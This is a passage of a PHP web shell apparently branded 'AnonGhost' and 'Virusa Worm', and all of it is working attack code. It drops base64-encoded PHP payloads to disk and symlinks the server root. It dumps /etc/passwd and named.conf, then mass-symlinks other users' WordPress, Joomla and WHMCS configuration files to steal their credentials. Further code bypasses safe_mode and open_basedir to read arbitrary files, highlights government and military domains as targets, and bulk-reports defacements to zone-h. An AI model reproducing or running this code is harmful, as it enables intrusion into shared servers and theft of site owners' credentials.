h0YWNjZXNzIiwidysiKTsgJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkZnZja2VtKSk7ICR2aXJ1c2EgPSBzeW1saW5rKCIvIiwidmlydXNhLnR4dCIpOyAkcnQ9Ijxicj48YSBocmVmPXZpcnVzYS50eHQgVEFSR0VUPSdfYmxhbmsnPjxmb250IGNvbG9yPSNmZjAwMDAgc2l6ZT0yIGZhY2U9J0NvdXJpZXIgTmV3Jz48Yj5CeXBhc3NlZCBTdWNjZXNzZnVsbHk8L2I+PC9mb250PjwvYT4iOyBlY2hvICI8YnI+PGJyPjxiPkRvbmUuLiAhPC9iPjxicj48YnI+Q2hlY2sgbGluayBnaXZlbiBiZWxvdyBmb3IgLyBmb2xkZXIgc3ltbGluayA8YnI+JHJ0PC9jZW50ZXI+Ijt9IGVjaG8gIjwvZm9ybT4iOyBlY2hvICI8Zm9udCBmYWNlPSdBdWRpb3dpZGUnIGNvbG9yPSdncmV5JyBzaXplPScxJz4gPGJyPjxicj4mY29weTsgIjsgZWNobyBkYXRlKCJZIix0aW1lKCkpOyBlY2hvICIgVmlydXNhIFdvcm08L2ZvbnQ+IjsgPz48L3RkPjwvdHI+PC9ib2R5PjwvaHRtbD4=';
  517.      
  518.     $file = fopen("agv.php" ,"w+");
  519.     $write = fwrite ($file ,base64_decode($agv));
  520.     fclose($file);
  521.         chmod("agv.php",0755);
  522.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Bypass Forbidden by Virusa Worm</b></p><iframe src=agv/agv.php width=60% height=60% frameborder=0></iframe>"; }
  523.        
  524.     elseif(isset($_GET['sym'])){echo $bencong."<center><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Symlink Server</b></p>"; ?> <form action="?y=<?php echo $pwd; ?>&amp;sym=symlink" method="post"> <?php @set_time_limit(0); echo "<center>"; @mkdir('worm',0777); $htaccess = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any"; $write =@fopen ('worm/.htaccess','w'); fwrite($write ,$htaccess); @symlink('/','worm/root'); $filelocation = basename(__FILE__); $read_named_conf = @file('/etc/named.conf'); if(!$read_named_conf) { echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; } else { echo "<br><table border='1' bordercolor='#00a2a2' width='600' cellpadding='1' cellspacing='0'><td><b><font color='red'>Domains</font></b></td><td><b><font color='red'>Users</font></b></td><td><b><font color='red'>symlink </font></b></td>"; foreach($read_named_conf as $subject){ if(eregi('zone',$subject)){ preg_match_all('#zone "(.*)"#',$subject,$string); flush(); if(strlen(trim($string[1][0])) >2){ $UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0])); $name = $UID['name'] ; @symlink('/','worm/root'); $name = $string[1][0]; $iran = '\.ir'; $israel = '\.il'; $indo = '\.id'; $sg12 = '\.sg'; $edu = '\.edu'; $gov = '\.gov'; $gose = '\.go'; $gober = '\.gob'; $mil1 = '\.mil'; $mil2 = '\.mi'; if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0]) or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])) { $name = "<div style=' color: #ff0000 ; text-shadow: 0px 0px 0px red; '>".$string[1][0].'</div>'; } echo "<tr><td><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </td><td> '.$UID['name']." </td><td><a href='worm/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a></td></tr> "; flush(); }}}} echo "</center></table>"; "</div>"; } elseif(isset($_GET['config'])) {echo $bencong."<center/><br/><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Configs Grabber Priv8 by Virusa Worm</b></p>";?><center><?php if (empty($_POST['config'])) { ?><p>/etc/passwd content</p><form method="POST"><textarea name="passwd" class='output' rows='20' cols='60'><?php echo file_get_contents('/etc/passwd'); ?></textarea><br><br><input name="config" class='inputzbut' size="100" value="Fvck'em!" type="submit"><br></form></center><?php }if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink is disabled :( </error>');}@mkdir('agconfigs', 0755);@chdir('agconfigs');$htaccess="
  525.     Options all
  526.     Options +Indexes
  527.     Options +FollowSymLinks
  528.     DirectoryIndex Sux.html
  529.     AddType text/plain .php
  530.     AddHandler server-parsed .php
  531.     AddType text/plain .html
  532.     AddHandler txt .html
  533.     Require None
  534.     Satisfy Any
  535.     ";file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];$passwd=explode("\n",$passwd);echo "<center class='virusa'>wait ...<center>";foreach($passwd as $pwd){$pawd=explode(":",$pwd);$user =$pawd[0];@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'-wp13-wordpress-beta.txt');@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');@symlink('/home/'.$user.'/public_html/protal/wp-config.php',$user.'-wp-protal.txt');@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');@symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-wp-test.txt');@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');@symlink('/home/'.$user.'/public_html/protal/configuration.php',$user.'-joomla-protal.txt');@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}echo '<b>Done -></b> <font color="#58FAF4"><a href="agconfigs">Open configs</a></font>';}} elseif(isset($_GET['sima'])) {echo $bencong."<center/><br/><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Manually Retrieve Config by Virusa Worm</b></p>"; echo $head.'<form method=post action="'.$me.'"><p align="center"><br><input name=cworm size=50><br><br><input value="'.getcwd().$slash."/symlink.txt".'" name=cvworm size=50><br><br><input type=submit value=SymLink!></p></form>'; if ($_POST['cworm'] && $_POST['cvworm']){ if (symlink($_POST['cworm'],$_POST['cvworm'])){ echo 'Symlink Worked !'; }else{ echo 'Symlink Not Worked !';}}}
  536.     elseif(isset($_GET['ensym'])){echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Enable Symlink</b></p>";
  537.      
  538.     echo '<center><form method=post><br><br>
  539.                 <input type=submit name=ens value="Bypass" /></form></center>';
  540.              
  541.                 error_reporting(0);
  542.                
  543.                 if(isset($_POST['ens']))
  544.                 {
  545.                 mkdir('ensym',0755);
  546.         $rr  ='<Directory "/home">
  547.     *** Options -ExecCGI ***
  548.     AllowOverride AuthConfig
  549.     Indexes Limit FileInfo
  550.     Options=IncludesNOEXEC
  551.     Indexes
  552.     Includes
  553.     MultiViews
  554.     SymLinksIfOwnerMatch
  555.     FollowSymLinks
  556.     </Directory>';
  557.         $g = fopen('ensym/.htaccess','w');
  558.         fwrite($g,$rr);
  559.             echo "<br><br><font color=#58FAF4 size=2 face=\"Courier New\">Symlink Function Enabled Successfully check path</font></center>";
  560.             echo "<center><br><a href=ensym/ target='_blank'><font color=#ff0000 size=2 face=\"Courier New\">Click here </font></a></center><br>";
  561.     }  }
  562.      
  563.     if(isset($_GET['agrit'])){echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Source File Bypass</b></p>";
  564.     echo "<html>
  565.     </td></tr></table><form method='POST' enctype='multipart/form-data'>
  566.     </td></tr></table><form method='POST' enctype='multipart/form-data'>
  567.     <br>
  568.     <b>show_source  : </b><input type='text' name='show' value='' size='62' style='color: #ffffff; border: 1px dotted #58FAF4; background-color: #151515'></p>
  569.     <b>highlight_file : </b><input type='text' name='high' value='' size='59' style='color: #ffffff; border: 1px dotted #58FAF4; background-color: #151515'></p>
  570.     <input type='submit''  value='Read File'  style='color: #ffffff; border: 1px dotted #58FAF4; background-color: #151515' ></form</p>
  571.     </form</p>";
  572.      
  573.     if(empty($_POST['show']))
  574.     {
  575.     }
  576.     else
  577.     {
  578.     $s = $_POST['show'];
  579.     echo "<b><h1><font size='4' color='silver'>show_source</font></h1>";
  580.     $show = show_source($s);
  581.     }
  582.     if(empty($_POST['high']))
  583.     {
  584.     }
  585.     else
  586.     {
  587.     $h = $_POST['high'];
  588.     echo "<b><h1><font size='4' color='silver'>highlight_file</font></h1>";
  589.     echo "<br>";
  590.     $high = highlight_file($h);
  591.     }}
  592.      
  593.     if(isset($_GET['agritf'])){ $agritf = 'PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTkiIC8+PG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjU0IiAvPjx0aXRsZT5Bbm9uR2hvc3Qgc2FmZV9tb2RlICYgb3Blbl9iYXNlZGlyIGJ5cGFzczwvdGl0bGU+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vei9wL3pwc2k5MGxmYzcuaWNvIiB0eXBlPSJpbWFnZS94LWljb24iIC8+PHN0eWxlIHR5cGU9InRleHQvY3NzIj4gYm9keSB7IGJhY2tncm91bmQ6IzE1MTUxNTtiYWNrZ3JvdW5kLWltYWdlOiB1cmwoaHR0cDovL2k5NTIucGhvdG9idWNrZXQuY29tL2FsYnVtcy9hZTEvdmlydXNhd29ybS9hZy9mb25kYmdfenBzNjUwZjUwMjUuanBnKTsgZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3OyBmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OiA0MDA7IGNvbG9yOiAjNThGQUY0OyB0ZXh0LWFsaWduOiBjZW50ZXI7IH08L3N0eWxlPjwvaGVhZD48Ym9keT48P3BocCAvLy0tIFJlY29kZWQgYnkgVmlydXNhIFdvcm0gLS0vLw0KaWYoIWVtcHR5KCRfR0VUWydmaWxlJ10pKSAkZmlsZT0kX0dFVFsnZmlsZSddOyBlbHNlIGlmKCFlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpICRmaWxlPSRfUE9TVFsnZmlsZSddOyBlY2hvICc8dGFibGUgYWxpZ249Y2VudGVyIHdpZHRoPVwiOCVcIj4gPHRib2R5Pjx0cj48dGQgYWxpZ249XCJyaWdodFwiIHdpZHRoPTg+IDxwIGRpcj1sdHI+PGZvbnQgY29sb3I9IzU4RkFGNCBzaXplPTM+PGNlbnRlcj4gPGJyPiA8Yj5QSFAgNS4yLjkgfCA1LjIuMTEgc2FmZV9tb2RlICYgb3Blbl9iYXNlZGlyIGJ5cGFzcyA8L2I+PGJyPjxicj48L2ZvbnQ+PGZvcm0gbmFtZT0iZm9ybSIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpLiciPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImhhcmRzdHlsZXoiIHZhbHVlPSJTaG93Ij48L2Zvcm0+PC9jZW50ZXI+JzsgJGxldmVsPTA7IGlmKCFmaWxlX2V4aXN0cygiZmlsZToiKSkgbWtkaXIoImZpbGU6Iik7IGNoZGlyKCJmaWxlOiIpOyAkbGV2ZWwrKzsgJGhhcmRzdHlsZSA9IGV4cGxvZGUoIi8iLCAkZmlsZSk7IGZvcigkYT0wOyRhPGNvdW50KCRoYXJkc3R5bGUpOyRhKyspeyBpZighZW1wdHkoJGhhcmRzdHlsZVskYV0pKXsgaWYoIWZpbGVfZXhpc3RzKCRoYXJkc3R5bGVbJGFdKSkgbWtkaXIoJGhhcmRzdHlsZVskYV0pOyBjaGRpcigkaGFyZHN0eWxlWyRhXSk7ICRsZXZlbCsrOyB9fSB3aGlsZSgkbGV2ZWwtLSkgY2hkaXIoIi4uIik7ICRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiZmlsZTpmaWxlOi8vLyIuJGZpbGUpOyBlY2hvICc8Rk9OVCBDT0xPUj0iUkVEIj4gPGNlbnRlcj48dGV4dGFyZWEgcm93cz0iMjUiIGNvbHM9IjgwIj4nOyBpZihjdXJsX2V4ZWMoJGNoKT09RkFMU0UpIGRpZSgnIFNvcnJ5Li4uJy5odG1sc3BlY2lhbGNoYXJzKCRmaWxlKS4nIGRvZXNudCBleGlzdHMgb3IgeW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucy4nKTsgZWNobyAnIDwvdGV4dGFyZWE+IDwvY2VudGVyPjwvRk9OVD4nOyA/PjwvYm9keT48L2h0bWw+'; $file = fopen("agritf.php" ,"w+"); $write = fwrite ($file ,base64_decode($agritf)); fclose($file); chmod("agritf.php",0755); echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Read File Bypass</b></p><iframe src=agritf.php width=75% height=60% frameborder=0></iframe>";
  594.     }
  595.      
  596.     elseif(isset($_GET['agzh'])) { $agzh = 'PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5ab25lLUggTWFzcyBNaXJyb3I8L3RpdGxlPjxsaW5rIHJlbD0ic2hvcnRjdXQgaWNvbiIgaHJlZj0iaHR0cDovL3d3dy5pY29uai5jb20vaWNvL3ovcC96cHNpOTBsZmM3LmljbyIgdHlwZT0iaW1hZ2UveC1pY29uIiAvPg0KPC9oZWFkPg0KPHN0eWxlPg0KYm9keXtiYWNrZ3JvdW5kLWNvbG9yOiN0cmFuc3BhcmFudDtjb2xvcjojNThGQUY0O30NCmJvZHksdGQsdGh7IGZvbnQ6IDhwdCBMdWNpZGEsVGFob21hO21hcmdpbjowO3ZlcnRpY2FsLWFsaWduOnRvcDtjb2xvcjojNThGQUY0OyB9DQp0YWJsZS5pbmZveyBjb2xvcjojMDAwO2JhY2tncm91bmQtY29sb3I6IzIyMjsgfQ0Kc3BhbixoMSxheyBjb2xvcjogJGNvbG9yICFpbXBvcnRhbnQ7IH0NCnNwYW57IGZvbnQtd2VpZ2h0OiBib2xkZXI7IH0NCmgxeyBib3JkZXItbGVmdDo3cHggc29saWQgJGNvbG9yO3BhZGRpbmc6IDNweCA1cHg7Zm9udDogMTRwdCBWZXJkYW5hO2JhY2tncm91bmQtY29sb3I6IzMzMzttYXJnaW46MHB4OyB9DQpkaXYuY29udGVudHsgcGFkZGluZzogNXB4O21hcmdpbi1sZWZ0OjVweDtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7IH0NCmF7IHRleHQtZGVjb3JhdGlvbjpub25lOyB9DQphOmhvdmVyeyB0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lOyB9DQoubWwxeyBib3JkZXI6MXB4IHNvbGlkICM1NTU7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87IH0NCi5iaWdhcmVheyB3aWR0aDoxMDAlO2hlaWdodDozMDBweDsgfQ0KI25ldyxpbnB1dCx0YWJsZSx0ZCx0ciwjZ2d7Ym9yZGVyLXN0eWxlOnNvbGlkO3RleHQtZGVjb3JhdGlvbjpib2xkO30NCmlucHV0LHRleHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6Izk5OTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7Ym9yZGVyOjFweCBzb2xpZCAkY29sb3I7IGZvbnQ6IDhwdCBUYWhvbWEsIlRhaG9tYSI7IH0NCmZvcm17IG1hcmdpbjowcHg7IH0NCi5iYW5uZXIgew0KICAgIGZvbnQtc2l6ZTogMzBweDsNCiAgICBjb2xvcjogI0ZGRkZGRjsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KICAgIGZvbnQtZmFtaWx5OiBHZW9yZ2lhLCAiVGltZXMgTmV3IFJvbWFuIiwgVGltZXMsIHNlcmlmOw0KfQ0KPC9zdHlsZT4NCjxib2R5IGFsaWduPSJjZW50ZXIiPg0KDQoNCjw/cGhwDQoNCmlmKCRfUE9TVCkgew0KDQokaGFja2VyID0gJF9QT1NUWydkZWZhY2VyJ107DQoNCiRtZXRob2QgPSAkX1BPU1RbJ2hhY2ttb2RlJ107DQoNCiRuZWRlbiA9ICRfUE9TVFsncmVhc29uJ107DQoNCiRzaXRlID0gJF9QT1NUWydkb21haW4nXTsNCg0KDQoNCi8vIGJvc211IGRvbHVtdQ0KDQppZiAoJGhhY2tlciA9PSAiIikgew0KDQoNCg0KDQoNCn0NCg0KZWxzZWlmKCRtZXRob2QgPT0gIi0tLS0tLS0tU0VMRUNULS0tLS0tLS0iKSB7DQoNCmRpZSgiPGNlbnRlcj5NZXRob2Qgb2YgcGVuZXRyYXRpb248L2NlbnRlcj4iKTsNCg0KfQ0KDQplbHNlaWYoJG5lZGVuID09ICItLS0tLS0tLVNFTEVDVC0tLS0tLS0tIikgew0KDQoNCg0KZGllKCI8Y2VudGVyPkNhdXNlIG9mIGJyZWFjaD88L2NlbnRlcj4iKTsNCg0KfQ0KDQplbHNlaWYoJHNpdGUgPT0gIiIpIHsNCg0KDQoNCmRpZSgiPGNlbnRlcj5QdXQgaGVyZSBmb3IgcmVnaXN0cmF0aW9uIHNpdGVzPC9jZW50ZXI+Iik7DQoNCn0NCg0KDQoNCg0KDQokaSA9IDA7DQoNCiRzaXRlcyA9IGV4cGxvZGUoIlxuIiwgJHNpdGUpOw0KDQp3aGlsZSgkaSA8IGNvdW50KCRzaXRlcykpIHsNCg0KaWYoc3Vic3RyKCRzaXRlc1skaV0sIDAsIDQpICE9ICJodHRwIikgew0KDQokc2l0ZXNbJGldID0gImh0dHA6Ly8iLiRzaXRlc1skaV07DQoNCg0KDQp9DQoNCg0KDQpwb3N0ZXIoImh0dHA6Ly96b25lLWguY29tL25vdGlmeS9zaW5nbGUiLCAkaGFja2VyLCAkbWV0aG9kLCAkbmVkZW4sICRzaXRlc1skaV0pOw0KDQoNCg0KKyskaTsNCg0KfQ0KDQplY2hvICI8Y2VudGVyPjxwPkRvbmUvcD48L2NlbnRlcj4iOw0KDQoNCg0KfWVsc2V7DQoNCg0KDQplY2hvICc8Y2VudGVyPg0KDQoNCg0KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQoNCjxkaXYgaWQ9Im9wdGlvbiI+DQo8cD48YnIgLz4NCg0KPHA+Tm90aWZpZXIgOjxiciAvPg0KDQo8c3BhbiBjbGFzcz0ib2siPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkZWZhY2VyIiBzaXplPSI0MCIgLz48L3NwYW4+IDwvcD4NCg0KDQoNCjxwPk1ldGhvZCBvZiBwZW5ldHJhdGlvbjxiciAvPjxzZWxlY3QgbmFtZT0iaGFja21vZGUiPg0KDQo8b3B0aW9uID4tLS0tLS0tLVNFTEVDVC0tLS0tLS0tPC9vcHRpb24+DQoNCjxvcHRpb24gdmFsdWU9IjEiPmtub3duIHZ1bG5lcmFiaWxpdHkgKGkuZS4gdW5wYXRjaGVkIHN5c3RlbSk8L29wdGlvbj4NCg0KPG9wdGlvbg0KDQp2YWx1ZT0iMiIgPnVuZGlzY2xvc2VkIChuZXcpIHZ1bG5lcmFiaWxpdHk8L29wdGlvbj4NCg0KPG9wdGlvbg0KDQp2YWx1ZT0iMyIgPmNvbmZpZ3VyYXRpb24gLyBhZG1pbi4gbWlzdGFrZTwvb3B0aW9uPg0KDQo8b3B0aW9uDQoNCnZhbHVlPSI0IiA+YnJ1dGUgZm9yY2UgYXR0YWNrPC9vcHRpb24+DQoNCg0KDQo8b3B0aW9uDQoNCnZhbHVlPSI1IiA+c29jaWFsIGVuZ2luZWVyaW5nPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjYiID5XZWIgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KDQo8b3B0aW9uDQoNCnZhbHVlPSI3IiA+V2ViIFNlcnZlciBleHRlcm5hbCBtb2R1bGUgaW50cnVzaW9uPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjgiID5NYWlsIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCg0KPG9wdGlvbg0KDQp2YWx1ZT0iOSIgPkZUUCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjEwIiA+U1NIIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCg0KDQoNCjxvcHRpb24NCg0KdmFsdWU9IjExIiA+VGVsbmV0IFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCg0KPG9wdGlvbg0KDQp2YWx1ZT0iMTIiID5SUEMgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KDQo8b3B0aW9uDQoNCnZhbHVlPSIxMyIgPlNoYXJlcyBtaXNjb25maWd1cmF0aW9uPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjE0IiA+T3RoZXIgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KDQo8b3B0aW9uDQoNCnZhbHVlPSIxNSIgPlNRTCBJbmplY3Rpb248L29wdGlvbj4NCg0KPG9wdGlvbg0KDQp2YWx1ZT0iMTYiID5VUkwgUG9pc29uaW5nPC9vcHRpb24+DQoNCg0KDQo8b3B0aW9uDQoNCnZhbHVlPSIxNyIgPkZpbGUgSW5jbHVzaW9uPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjE4IiA+T3RoZXIgV2ViIEFwcGxpY2F0aW9uIGJ1Zzwvb3B0aW9uPg0KDQo8b3B0aW9uDQoNCnZhbHVlPSIxOSIgPlJlbW90ZSBhZG1pbmlzdHJhdGl2ZSBwYW5lbCBhY2Nlc3MgdGhyb3VnaCBicnV0ZWZvcmNpbmc8L29wdGlvbj4NCg0KPG9wdGlvbg0KDQp2YWx1ZT0iMjAiID5SZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIHRocm91Z2ggcGFzc3dvcmQgZ3Vlc3Npbmc8L29wdGlvbj4NCg0KPG9wdGlvbg0KDQp2YWx1ZT0iMjEiID5SZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIHRocm91Z2ggc29jaWFsIGVuZ2luZWVyaW5nPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjIyIiA+QXR0YWNrIGFnYWluc3QgdGhlIGFkbWluaXN0cmF0b3IvdXNlciAocGFzc3dvcmQgc3RlYWxpbmcvc25pZmZpbmcpPC9vcHRpb24+DQoNCg0KDQo8b3B0aW9uDQoNCnZhbHVlPSIyMyIgPkFjY2VzcyBjcmVkZW50aWFscyB0aHJvdWdoIE1hbiBJbiB0aGUgTWlkZGxlIGF0dGFjazwvb3B0aW9uPg0KDQo8b3B0aW9uDQoNCnZhbHVlPSIyNCIgPlJlbW90ZSBzZXJ2aWNlIHBhc3N3b3JkIGd1ZXNzaW5nPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjI1IiA+UmVtb3RlIHNlcnZpY2UgcGFzc3dvcmQgYnJ1dGVmb3JjZTwvb3B0aW9uPg0KDQo8b3B0aW9uDQoNCnZhbHVlPSIyNiIgPlJlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIEZpcmV3YWxsPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjI3IiA+UmVyb3V0aW5nIGFmdGVyIGF0dGFja2luZyB0aGUgUm91dGVyPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjI4IiA+RE5TIGF0dGFjayB0aHJvdWdoIHNvY2lhbCBlbmdpbmVlcmluZzwvb3B0aW9uPg0KDQoNCg0KPG9wdGlvbg0KDQp2YWx1ZT0iMjkiID5ETlMgYXR0YWNrIHRocm91Z2ggY2FjaGUgcG9pc29uaW5nPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjMwIiA+Tm90IGF2YWlsYWJsZTwvb3B0aW9uPg0KDQo8L3NlbGVjdD48L3A+DQoNCjxwPkNhdXNlIG9mIGJyZWFjaD88YnIgLz48c2VsZWN0IG5hbWU9InJlYXNvbiI+DQoNCg0KDQo8b3B0aW9uID4tLS0tLS0tLVNFTEVDVC0tLS0tLS0tPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjEiID5IZWguLi5qdXN0IGZvciBmdW4hPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjIiID5SZXZlbmdlIGFnYWluc3QgdGhhdCB3ZWJzaXRlPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjMiID5Qb2xpdGljYWwgcmVhc29uczwvb3B0aW9uPg0KDQo8b3B0aW9uDQoNCnZhbHVlPSI0IiA+QXMgYSBjaGFsbGVuZ2U8L29wdGlvbj4NCg0KPG9wdGlvbg0KDQp2YWx1ZT0iNSIgPkkganVzdCB3YW50IHRvIGJlIHRoZSBiZXN0IGRlZmFjZXI8L29wdGlvbj4NCg0KDQoNCjxvcHRpb24NCg0KdmFsdWU9IjYiID5QYXRyaW90aXNtPC9vcHRpb24+DQoNCjxvcHRpb24NCg0KdmFsdWU9IjciID5Ob3QgYXZhaWxhYmxlPC9vcHRpb24+DQoNCjwvc2VsZWN0PiA8L3A+DQoNCg0KDQo8cD5Eb21haW5zPGJyIC8+DQoNCjxzcGFuIGNsYXNzPSJmdXIiPlB1dCBoZXJlIGZvciByZWdpc3RyYXRpb24gc2l0ZXM8L3NwYW4+PGJyIC8+DQoNCjxzcGFuIGNsYXNzPSIiPjx0ZXh0YXJlYSBuYW1lPSJkb21haW4iIGNvbHM9IjQzIiByb3dzPSIxMyI+PC90ZXh0YXJlYT48L3NwYW4+IDwvcD4NCg0KPHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ik9LIiAvPg0KDQo8L2Zvcm0+DQo8ZGl2IGNsYXNzID0ic3ViIj4gPC9kaXY+DQoNCj